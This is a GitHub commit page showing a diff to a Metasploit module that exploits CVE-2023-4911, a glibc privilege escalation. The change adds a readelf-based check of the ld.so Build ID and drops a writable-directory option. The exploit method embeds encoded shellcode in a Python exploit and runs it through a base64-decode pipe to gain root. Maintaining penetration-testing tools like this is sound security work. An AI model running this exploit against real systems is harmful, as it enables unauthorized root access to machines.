Skip to content

Commit

Permalink
Improve a bit glibc_tunables_priv_esc
Browse files Browse the repository at this point in the history
- Fix some typos
- Add a check via `readelf` should `file` not be available
- Remove the requirement for `WritableDir`
  • Loading branch information
jvoisin committed Dec 20, 2023
1 parent fb26c93 commit 0fc8c56
Showing 1 changed file with 42 additions and 11 deletions.
53 changes: 42 additions & 11 deletions modules/exploits/linux/local/glibc_tunables_priv_esc.rb
Original file line number Diff line number Diff line change
Expand Up @@ -84,12 +84,9 @@ def initialize(info = {})
}
)
)
register_advanced_options([
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
])
end

def find_exec_program
def find_python
%w[python python3].select(&method(:command_exists?)).first
rescue StandardError => e
fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}")
Expand Down Expand Up @@ -124,10 +121,45 @@ def check

def check_ld_so_build_id
# Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
if !command_exists?('file')
print_warning('Unable to locate the `file` command ti order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.')
return
if command_exists?('file')
check_ld_so_build_id_file
elsif command_exists?('readelf')
check_ld_so_build_id_readelf
else
print_warning('Unable to locate the commands to verify the BuildID for ld.so.')
end
end

def check_ld_so_build_id_readelf
file_cmd_output = ''

# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
sysinfo = get_sysinfo
case sysinfo[:distro]
when 'ubuntu'
if command_exists?('ldconfig')
file_cmd_output = cmd_exec('readelf -a $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*") | grep "Build ID"')
end
when 'debian'
file_cmd_output = cmd_exec('readelf -a "$(readlink -f "$(command -v ld.so)")"| grep "Build ID"')
else
fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
end

if file_cmd_output =~ /Build ID: (\w+)$/
build_id = Regexp.last_match(1)
if BUILD_IDS.keys.include?(build_id)
print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
else
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
end
else
print_warning('Unable to verify the BuildID for ld.so via `readelf`, the exploit has a chance of being incompatible with this target.')
end
end

def check_ld_so_build_id_file
file_cmd_output = ''

# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
Expand All @@ -152,27 +184,26 @@ def check_ld_so_build_id
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
end
else
print_warning('Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.')
print_warning('Unable to verify the BuildID for ld.so via `file`, the exploit has a chance of being incompatible with this target.')
end
end

def exploit
fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?

python_binary = find_exec_program
python_binary = find_python
fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
vprint_status("Using '#{python_binary}' to run the exploit")

check_ld_so_build_id

# The python script assumes the working directory is the one we can write to.
cd(datastore['WritableDir'])
shell_code = payload.encoded.unpack('H*').first

exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py')
exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code)
exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':'))

vprint_status('All good let\'s go.')
# If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}")
if output.blank?
Expand Down

0 comments on commit 0fc8c56

Please sign in to comment.